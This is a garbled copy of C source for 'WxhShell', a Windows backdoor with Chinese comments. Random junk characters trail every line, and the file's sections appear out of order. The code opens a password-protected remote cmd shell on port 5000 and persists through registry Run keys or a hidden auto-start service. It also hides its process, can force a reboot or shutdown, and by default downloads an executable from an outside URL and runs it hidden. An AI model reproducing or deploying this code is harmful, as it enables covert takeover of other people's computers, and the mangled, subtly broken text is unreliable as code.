    if(Boot(SHUTDOWN)) i;/5Y'KZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $c]fPt"i  
    else { 9 7GV2]-M  
    closesocket(wsh); 3Z5D)zuc  
    ExitThread(0); 8u6:=fxb  
    } x3 q]I8q  
    break; mRL"nC  
    } fVF2-Rh=  
  // 获取shell Sdt`i  
  case 's': { (.D~0a JU  
    CmdShell(wsh); ok!L.ac  
    closesocket(wsh); . $BUw  
    ExitThread(0); -:|?h{q?u  
    break; "P 7nNa  
  } d:BG#\e]v  
  // 退出 JmxH"7hTE  
  case 'x': { &dM. d!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TW)c#P43K  
    CloseIt(wsh); lR )67a  
    break; QRHu 3w  
    } G`cHCP_n  
  // 离开 W42 iu"@  
  case 'q': { n^Hm;BiE#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %zG;Q@  
    closesocket(wsh); \MyLc/Gh5  
    WSACleanup(); 5gYRwuf  
    exit(1); \.MR""@y`{  
    break; G<}()+L  
        } [<n2Uz7MP  
  } -ws? "_w  
  } 3{'Ne}5%I  
>3p \m  
  // 提示信息 Y<N5# );f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FHj" nB  
} B Wk/DVue  
  } u+Y\6~=+  
!%CWZZ 6u  
  return; v- 2:(I V  
} J\+0[~~  
W0dSsjNio  
// shell模块句柄 kZR8a(4D  
int CmdShell(SOCKET sock) uGwm r  
{ n6wV.?8  
STARTUPINFO si; CDsSrKhx  
ZeroMemory(&si,sizeof(si)); $Q&lSVQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x-$&g*<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `7c~m ypx  
PROCESS_INFORMATION ProcessInfo; a!a-b~#cx  
char cmdline[]="cmd"; ?9!6%]2D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2L3)#22m*  
  return 0; J[l7di5  
} h k] N6+@  
]OM"ZG/^  
// 自身启动模式 /KFfU1  
int StartFromService(void) 9+j0q%  
{ @Xt*Snd  
typedef struct ). <-X^@  
{ F^WP<0C  
  DWORD ExitStatus; Y\D!/T  
  DWORD PebBaseAddress; WJQvB=D&  
  DWORD AffinityMask; ND'E8Ke pq  
  DWORD BasePriority; g2BHHL;`  
  ULONG UniqueProcessId; C^O VB-  
  ULONG InheritedFromUniqueProcessId; h{CL{>d  
}   PROCESS_BASIC_INFORMATION; APvDP?  
R cAwrsd  
PROCNTQSIP NtQueryInformationProcess; "i nd$Z`c  
N:S/SZI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MX$0Op  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o2nv+fy W  
fa-IhB1!K  
  HANDLE             hProcess; m}C>ti`VD  
  PROCESS_BASIC_INFORMATION pbi; y`VyQWW  
YJ^] u}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7r7YNn/?  
  if(NULL == hInst ) return 0; TITKj?*o  
]s]vZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N nRD|A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eX?OYDDC0j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S'k_olx7  
HguT"%iv  
  if (!NtQueryInformationProcess) return 0; ' KP@W9j  
E-4b[xNj*+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Dl<bnx;0  
  if(!hProcess) return 0; U\ ig:  
9Z|jxy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F0pir(n-  
-C;^ 3R[ O  
  CloseHandle(hProcess); .~)q};Z  
9eGyyZg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `[z<4"Os   
if(hProcess==NULL) return 0; ; ^*}#X d  
;%B(_c  
HMODULE hMod; :WjpzgPuN  
char procName[255]; K`yRr`pW  
unsigned long cbNeeded; _64A( U  
O_2pIbh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %oF}HF.  
_ q(ko/T  
  CloseHandle(hProcess); 5 f@)z"j  
18)'c?^.  
if(strstr(procName,"services")) return 1; // 以服务启动 XtXEB<4Z  
O%Scjm-^X  
  return 0; // 注册表启动 ")_|69 VX  
} .sxcCrQE  
0Be< X  
// 主模块 !SC`D])l  
int StartWxhshell(LPSTR lpCmdLine) h(<,fg1  
{ i#&z2h-b  
  SOCKET wsl; o906/5M  
BOOL val=TRUE; 5<iV2Hx  
  int port=0; w ~.f  
  struct sockaddr_in door; ~t@cO.c  
kj|6iG  
  if(wscfg.ws_autoins) Install(); a_[Eh fE  
teOe#*  
port=atoi(lpCmdLine); `uq8G  
H ;7(}:.  
if(port<=0) port=wscfg.ws_port; F;>V>" edl  
Rh3eLt~|(  
  WSADATA data; v&Ii^?CvO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \(~y?l  
wJg1Y0nh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~fBtQGdX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AG3>V+k{Lv  
  door.sin_family = AF_INET; ~ {?_p@&n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8a &:6Zuo  
  door.sin_port = htons(port); S_iMVHe  
+cWLjPD/}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BmBj7  
closesocket(wsl); 7.-V-?i  
return 1; x9NEFtqjm  
} ?42<J%p  
G=)i{oC  
  if(listen(wsl,2) == INVALID_SOCKET) { sI43@[  
closesocket(wsl); %`k6w3qI  
return 1; @(l^]9(V\  
} v.\*./-i  
  Wxhshell(wsl); sD<a+Lw}x  
  WSACleanup(); 4)E_0.C  
1ofKt=|=  
return 0; "B8Q:  
M])ZK  
} ;1#H62Z*  
~"dA~[r L  
// 以NT服务方式启动 g6nkZyw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }L &^xe  
{ +_s #2  
DWORD   status = 0; (As#^q\>B  
  DWORD   specificError = 0xfffffff; U6=..K!q  
3E7ULK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }{M#EP8q+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }p=Jm)y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WJ)z6m]  
  serviceStatus.dwWin32ExitCode     = 0; /{|EAd{  
  serviceStatus.dwServiceSpecificExitCode = 0; z|fmrwkN'$  
  serviceStatus.dwCheckPoint       = 0; <m:m &I 8@  
  serviceStatus.dwWaitHint       = 0; =5aDM\L$&  
PiYY6i0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Kfm5i Q  
  if (hServiceStatusHandle==0) return; avjpA ?Vz  
KuWWUjCE  
status = GetLastError(); #btLa\HJ  
  if (status!=NO_ERROR) b6W2^tr-  
{ aHlcfh9|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |}2 3>l7  
    serviceStatus.dwCheckPoint       = 0; yphS'AG  
    serviceStatus.dwWaitHint       = 0; '"y|p+=j:  
    serviceStatus.dwWin32ExitCode     = status; D@G\7 KH@  
    serviceStatus.dwServiceSpecificExitCode = specificError;  R=.4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .e3NnOzyxS  
    return; `{,Dy!rL  
  } BLN^ <X/  
f5F@^QXQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vesJEaw7  
  serviceStatus.dwCheckPoint       = 0; nYWvTvZ  
  serviceStatus.dwWaitHint       = 0; CxGx8*<X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pkP?i5 ,  
} ~i@Y|38C  
X_qf"|i  
// 处理NT服务事件,比如:启动、停止 C(S'#cm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;g6M%;1-  
{ ?!wgH9?8  
switch(fdwControl) x??pBhJH  
{ Jwj%_<  
case SERVICE_CONTROL_STOP: D*Ik7Pe  
  serviceStatus.dwWin32ExitCode = 0; ";BlIovT=R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  XEC(P  
  serviceStatus.dwCheckPoint   = 0; =81@ o,1w  
  serviceStatus.dwWaitHint     = 0; )Y]{HQd  
  { >a"Z\\dF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'sLiu8G  
  } *"WDb|PBb  
  return; f} Np/  
case SERVICE_CONTROL_PAUSE: PN0VQ/..  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RlheQTJ  
  break; {D!6%`HKV+  
case SERVICE_CONTROL_CONTINUE: mK[)mC _8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y'(Ne=y  
  break; _FXZm50\g{  
case SERVICE_CONTROL_INTERROGATE: ;=geHiQHA  
  break; Vm5c+;  
}; dcLA1sN,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $KUo s+%  
} UJ0<%^f  
}K1JU`Lz  
// 标准应用程序主函数 on0]vEE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bKj%s@x  
{ ; l&4V  
RG3l.jL  
// 获取操作系统版本 MS>t_C(  
OsIsNt=GetOsVer(); i:rFQ8 I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RaWG w  
\\{J'j>{f  
  // 从命令行安装 %YSpCI  
  if(strpbrk(lpCmdLine,"iI")) Install(); :@1eph0  
GiP`dtK   
  // 下载执行文件 CNQC^d\ h  
if(wscfg.ws_downexe) { E Q4KV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6An9S%:_  
  WinExec(wscfg.ws_filenam,SW_HIDE); YoN*:jB<M  
} =8r 0 (c  
%|^OOU}  
if(!OsIsNt) { >ELlnE8  
// 如果时win9x,隐藏进程并且设置为注册表启动 'xhcuVl  
HideProc(); K`/`|1  
StartWxhshell(lpCmdLine); gzjR 6uz  
} D\@m6=L  
else 7SlsnhpW  
  if(StartFromService()) GuGOePV  
  // 以服务方式启动 J 8M$k/"X  
  StartServiceCtrlDispatcher(DispatchTable); >$ NDv  
else q(zJ%Gv)  
  // 普通方式启动 O(tX8P Q5N  
  StartWxhshell(lpCmdLine); ,*&G1|_6  
uch>AuF:  
return 0; hq:&wN 7Q  
} f6_];]yP  
]W Zq^'q.  
Z.W66\8~}^  
sf OHl  
=========================================== b B  x?  
UPc<gB  
p. R2gl1m  
e$u4vC~  
+$$$  
f'<Q.Vh<  
" 3I!?e!y3(  
K,6b3kk  
#include <stdio.h> =/u% c!  
#include <string.h> *?z0$Kz<,[  
#include <windows.h> >_c5r?]SG  
#include <winsock2.h>  6\u!E~zy  
#include <winsvc.h> EyI}{6~F  
#include <urlmon.h> d{3@h+zL  
#Hvq/7a2R  
#pragma comment (lib, "Ws2_32.lib") ik"sq}u_]E  
#pragma comment (lib, "urlmon.lib") 5aBAr  
yf?h#G%24  
#define MAX_USER   100 // 最大客户端连接数 N%7{J  
#define BUF_SOCK   200 // sock buffer :d0Y%vl  
#define KEY_BUFF   255 // 输入 buffer J0 k  
4EXB;[ ]  
#define REBOOT     0   // 重启 8>7RxSF  
#define SHUTDOWN   1   // 关机 Io|X#\K  
T1` |~Z?g-  
#define DEF_PORT   5000 // 监听端口 qC_mu)6  
zOHypazOTq  
#define REG_LEN     16   // 注册表键长度 Nrah;i+H\o  
#define SVC_LEN     80   // NT服务名长度 [w0/\]o  
GyW.2  
// 从dll定义API SR^_cpZoi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &m {kHM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F( Ak  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fa&-. *  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?sBh=Ds  
.}k(L4T|=  
// wxhshell配置信息 Um)>2|rp}  
struct WSCFG { uNHdpni  
  int ws_port;         // 监听端口 vLa#Y("  
  char ws_passstr[REG_LEN]; // 口令 T *I?9d{k  
  int ws_autoins;       // 安装标记, 1=yes 0=no w-b' LP  
  char ws_regname[REG_LEN]; // 注册表键名 RGIoI ]_  
  char ws_svcname[REG_LEN]; // 服务名 yMc:n "-[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b?Pj< tA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P F`rWw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o<l 2r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8L5!T6+D&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {ub/3Uh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =s}Xy_+:  
_Mc>W0'5@  
}; ?/M_~e.P  
pO~c<d}b  
// default Wxhshell configuration 3+xy4 G@L  
struct WSCFG wscfg={DEF_PORT, z *9FlV  
    "xuhuanlingzhe", ukuo:P<a  
    1, W~ULc 9  
    "Wxhshell", 4'Xgk8)  
    "Wxhshell", `@`1pOb  
            "WxhShell Service", /}5B&TZ=(3  
    "Wrsky Windows CmdShell Service", | A:@ &|  
    "Please Input Your Password: ", K{cbn1\,H  
  1, ^1jk$$f  
  "http://www.wrsky.com/wxhshell.exe", oc{EuW{Ag  
  "Wxhshell.exe" g):]'  
    }; c 5`US  
C+K=[   
// 消息定义模块 ~S; Z\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ] c}91  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uXQ >WI@eF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uH\kQ9f  
char *msg_ws_ext="\n\rExit."; XTqm]  
char *msg_ws_end="\n\rQuit."; VjbG(nB?_  
char *msg_ws_boot="\n\rReboot..."; LD(C\  
char *msg_ws_poff="\n\rShutdown..."; *(GZ^QH.  
char *msg_ws_down="\n\rSave to "; Ulqh@CE)  
:DkAQ-<~  
char *msg_ws_err="\n\rErr!"; oP,9#FC|(  
char *msg_ws_ok="\n\rOK!"; BH@b1}  
VY'Q|[  
char ExeFile[MAX_PATH]; Xt,X_o2m|]  
int nUser = 0; TYjA:d9YH  
HANDLE handles[MAX_USER]; FfMnul  
int OsIsNt; yu&Kh4AP  
X QbNH~  
SERVICE_STATUS       serviceStatus; GVd48*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b>cafu  
LxJ6M/".  
// 函数声明 *M~.3$NN  
int Install(void); 2HOe__Ns  
int Uninstall(void); zp=!8Av  
int DownloadFile(char *sURL, SOCKET wsh); 5M?mYNQR/H  
int Boot(int flag); BSXdvI1y  
void HideProc(void); IG.f=+<0  
int GetOsVer(void); {^&@g kYY  
int Wxhshell(SOCKET wsl); p/|(,)'+jx  
void TalkWithClient(void *cs); 17py ).\  
int CmdShell(SOCKET sock); ]b[,LwB\`~  
int StartFromService(void); RR>G]#k  
int StartWxhshell(LPSTR lpCmdLine); p$!@I  
#q4*]qGHm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W\ULUK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zS% m_,t  
wz@FrRP=  
// 数据结构和表定义 ^!>.97*   
SERVICE_TABLE_ENTRY DispatchTable[] = kEK[\f VE  
{ 3sC: jIp  
{wscfg.ws_svcname, NTServiceMain}, ` *9EKj  
{NULL, NULL} N+>'J23d!  
}; rycJyiw<-  
U6i~A9;  
// 自我安装 :Kay$r0+  
int Install(void) {a4xF2  
{ \|{*arS  
  char svExeFile[MAX_PATH]; 5LMj!)3  
  HKEY key; 0_V*B[V  
  strcpy(svExeFile,ExeFile); OLFt;h  
]N\6h(**wy  
// 如果是win9x系统,修改注册表设为自启动 y''0PSfb#  
if(!OsIsNt) { 7&t~R}&|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  wF;B@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -><QFJ  
  RegCloseKey(key); LV=^jsQ5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8on[%Vk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q6)p*}-  
  RegCloseKey(key); {_ 6t4h}  
  return 0; iQj2UTds3  
    } vcOsq#UW  
  } le2/Zs$  
} ;siJ~|6)  
else { :xN8R^(  
.q0AoM  
// 如果是NT以上系统,安装为系统服务 P7Z<0Dt\}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BGA%"b  
if (schSCManager!=0) D3]@i&^B  
{ 09x+Tko9;*  
  SC_HANDLE schService = CreateService z qO$  
  ( ^OjvL6 A/p  
  schSCManager, b7qnO jC  
  wscfg.ws_svcname, CMKhS,,o  
  wscfg.ws_svcdisp, $*aE$O6l  
  SERVICE_ALL_ACCESS, 1[[TB .xF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iZu:uMoc  
  SERVICE_AUTO_START, X#Ak'%J  
  SERVICE_ERROR_NORMAL, xtu]F  
  svExeFile, mj,qQ=n;p  
  NULL, cC' ^T6  
  NULL, T!&jFy*W  
  NULL, XzN-slu!  
  NULL, [ArO$X3\  
  NULL A@\qoS[  
  ); lbG}noqb  
  if (schService!=0) ]zy~@,\  
  { +H?<}N*T  
  CloseServiceHandle(schService); 1riBvBT  
  CloseServiceHandle(schSCManager); dqL  -'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); % Mw'e/?  
  strcat(svExeFile,wscfg.ws_svcname); p5D5%B/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q!9^#c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *EX$v4BX  
  RegCloseKey(key); ?L8&(&1@VD  
  return 0; d"LoK,p#  
    } BQ5_s,VM  
  } $dr27tse&<  
  CloseServiceHandle(schSCManager); \}U[}5Pk&  
} JgxE|#*7U  
} 5#yJK>a7  
@*bvMEE  
return 1; (QA-"9v#i,  
} +p8qsT#7  
0zlM.rjEZ  
// 自我卸载 JTSq{NN  
int Uninstall(void) o(?VX`2"  
{ _ .-o%6  
  HKEY key; 97['VOh0  
W\nHX I  
if(!OsIsNt) { Mp]yKl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W?SP .-I  
  RegDeleteValue(key,wscfg.ws_regname); L"Qh_+   
  RegCloseKey(key); L$oia)%t-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \[@Q}k[  
  RegDeleteValue(key,wscfg.ws_regname); # Nu%]  
  RegCloseKey(key); bE VO<x+  
  return 0; DBqg_v  
  } ?/o2#iJx  
} +Q@/F~1@6@  
} L?Kz P.(t+  
else { 'd|Q4RE+W  
2P;%P]~H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {^PO3I  
if (schSCManager!=0) NB|RZf9M  
{ p?J~'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #i`A4D  
  if (schService!=0) ^yEj]]6  
  { Ov0O#`  
  if(DeleteService(schService)!=0) { hqhu^.}]  
  CloseServiceHandle(schService);  ~ LJ>WA  
  CloseServiceHandle(schSCManager); wGov|[X  
  return 0; oTplxF1  
  } nG4Uk2>  
  CloseServiceHandle(schService); @%I_&!d  
  } p=mCK@  
  CloseServiceHandle(schSCManager); FR@PhMUS  
} N$=(1`zM=  
} s2(w#n)  
O<eWq]  
return 1; UX-_{I QW  
} \-$b o=s.  
m>Yo 9/XpZ  
// 从指定url下载文件 L|C1C cP  
int DownloadFile(char *sURL, SOCKET wsh) $'J6#Vs  
{ <WQ<<s@#pb  
  HRESULT hr;  K$37}S5  
char seps[]= "/"; QoT3;<r}  
char *token; h a,=LV  
char *file; 6)uPM"cO  
char myURL[MAX_PATH]; %h/#^esi  
char myFILE[MAX_PATH]; z^a6%N  
\GbHS*\+  
strcpy(myURL,sURL); Q}=W>|aE.  
  token=strtok(myURL,seps); ^.Ih,@N6  
  while(token!=NULL) $ +GFOO  
  { m p|20`go  
    file=token; P*0nT  
  token=strtok(NULL,seps); #TW>'l F  
  } v3hQv)j)  
U'Ja\Ek/f  
GetCurrentDirectory(MAX_PATH,myFILE); I\Gp9w0f  
strcat(myFILE, "\\"); 9A* ?E  
strcat(myFILE, file); 5Sm5jRr  
  send(wsh,myFILE,strlen(myFILE),0); r:WgjjA%  
send(wsh,"...",3,0); Bp$+ F/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *1o+o$hY2  
  if(hr==S_OK) 5E\<r /FeJ  
return 0; Hl3XqR  
else }`<>$2b  
return 1; 9pl_V WrQ  
Ddm76LS  
} )v!lPpe8  
f9 l<$l  
// 系统电源模块 aaqd:N)  
int Boot(int flag) #<tWYE  
{ K9I,Q$&xX  
  HANDLE hToken; '4^V4i  
  TOKEN_PRIVILEGES tkp; k+q6U[ce  
CyK$XDHa  
  if(OsIsNt) { TOPPa?=vk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?`l=!>C4s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); picP_1L  
    tkp.PrivilegeCount = 1; 49J+&G?)j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n?P 5pJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ssr)f8R#,#  
if(flag==REBOOT) { z?t(+^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d*\C^:Z  
  return 0; Nh\8+v*+{  
} #Z=)=  
else { :oj) eS[Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Am0.c0h  
  return 0; 'd.@4 9  
} y~A7pzBZ=  
  } `Z7ITvF>  
  else { M%5$-;6~_  
if(flag==REBOOT) { J_wz'eIb0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +}-W.H%`0  
  return 0; \2<yZCn  
} @aD~YtL"n  
else { -SY:qG3?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N;ecT@U g  
  return 0; WGG) mh&-  
} GY$?^&OO>  
} $W_o$'crW  
2E ; %=e  
return 1; ='bmjXu  
} ;gW|qb+#)j  
<9@]|  
// win9x进程隐藏模块 X.AOp  
void HideProc(void) ][5p.owJse  
{ UH^wyK bM  
f93X5hFnF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XX[Wwt  
  if ( hKernel != NULL ) ^$Io;*N4  
  { ' bw,K*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JdYF&~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v3JIUdU=P  
    FreeLibrary(hKernel); 5Kw?SRFH/  
  } .sR&9FH  
WZ6{(`;#m  
return; 5WJkeG ba  
} qCkg\)Ks5I  
So 6cm|{  
// 获取操作系统版本 -Lf6]5$2'  
int GetOsVer(void) l`%} {3r9  
{ Sw( H]  
  OSVERSIONINFO winfo; |AfQ_iT6c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .x$T a l  
  GetVersionEx(&winfo); <$ZT]pT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pH:|G  
  return 1; x0;}b-f  
  else 4qz{ D"M  
  return 0; +95dz?~  
} jp]geV54  
#DRt Mrfat  
// 客户端句柄模块 _]ttKT(  
int Wxhshell(SOCKET wsl) f -nC+   
{ wXZY5-h4  
  SOCKET wsh; 7%}3Ghc%  
  struct sockaddr_in client; LXF%~^^@d  
  DWORD myID; 99>yaW  
Jc?ssm\%  
  while(nUser<MAX_USER) rtF6Lg  
{ f vM3.P  
  int nSize=sizeof(client); +sluu!~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JI,hy <3l0  
  if(wsh==INVALID_SOCKET) return 1; RTY4%6]O  
Iw |[*Nu-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a4.: i  
if(handles[nUser]==0) &8i{'k,l  
  closesocket(wsh); &&S4x  
else 4KSN;G  
  nUser++; d>98 E9  
  } MNmQ%R4jRN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9S1V! Jp  
5nq-b@?L  
  return 0; E d/O\v@  
} HU+H0S~g  
`gs,JJ6N  
// 关闭 socket B[|/wHMsT}  
void CloseIt(SOCKET wsh) ]b| @<E7Y  
{ H&IP>8Dk  
closesocket(wsh); ~MQf($]  
nUser--; 7Ej#7\TB]  
ExitThread(0); 2U+p@}cQUA  
}  Ph{+uI  
km^+ mK  
// 客户端请求句柄 ',j-n$Z^=  
void TalkWithClient(void *cs) 1AV1W_"  
{ L/LN X{|  
-y*+G&  
  SOCKET wsh=(SOCKET)cs; V=MZOj6  
  char pwd[SVC_LEN]; U7eQ-r  
  char cmd[KEY_BUFF]; Ud*[2Oi|R  
char chr[1]; B8Zd#.6]  
int i,j; :P"Gym  
EC#10.  
  while (nUser < MAX_USER) { 2`m_"y  
mXaUWgO  
if(wscfg.ws_passstr) { bLF0MVLM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HbDB?s<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hv*O9!cC  
  //ZeroMemory(pwd,KEY_BUFF); {~h\;>  
      i=0; 0^Cx`xdX:  
  while(i<SVC_LEN) { }TL"v|ny6;  
w!7/;VJ3d  
  // 设置超时 4O^1gw  
  fd_set FdRead;  m:Abq`C  
  struct timeval TimeOut; i=QhX CM  
  FD_ZERO(&FdRead); dD<kNa}2  
  FD_SET(wsh,&FdRead); I GtH<0Du  
  TimeOut.tv_sec=8; hDMp^^$  
  TimeOut.tv_usec=0; ksp':2d}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;gV8f{X{Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b;l%1x9r  
[rsAY&.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P'~3WL4MKs  
  pwd=chr[0]; ':$a6f &T  
  if(chr[0]==0xd || chr[0]==0xa) { \0*LfVr;P  
  pwd=0; >WX'oP(<  
  break; m 0PF"(  
  } _Y {g5t  
  i++; R&xd ic!  
    } _4Pi>  
miSC'!  
  // 如果是非法用户,关闭 socket Yg.u8{H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a!]%@A6p  
} .X1niguXH  
a@J :*W  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WpZ^R;eK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6suc:rp";  
~O$]y5  
while(1) { iwJgU b  
`^vD4qD|  
  ZeroMemory(cmd,KEY_BUFF); @oNrR$7  
yl%F<5  
      // 自动支持客户端 telnet标准   S(l^TF  
  j=0; &ii =$4"R  
  while(j<KEY_BUFF) { HfPeR8I%i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yI<'J^1C[  
  cmd[j]=chr[0]; n0q(EQy1U  
  if(chr[0]==0xa || chr[0]==0xd) { N0PX<$y  
  cmd[j]=0; H l@rS  
  break; \O~7X0 <W  
  } LBB[aF,Lr  
  j++; |t_2AV  
    } d+'+z %s%  
jtwO\6 t&  
  // 下载文件 ^*OA%wg3=h  
  if(strstr(cmd,"http://")) { .O^|MhBJu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l ,.;dw  
  if(DownloadFile(cmd,wsh)) NYeg,{q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~@;7}Aag  
  else oL;/Qan  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZlzFmNe60  
  } RP9||PFS~~  
  else { (x@"Dp=MZW  
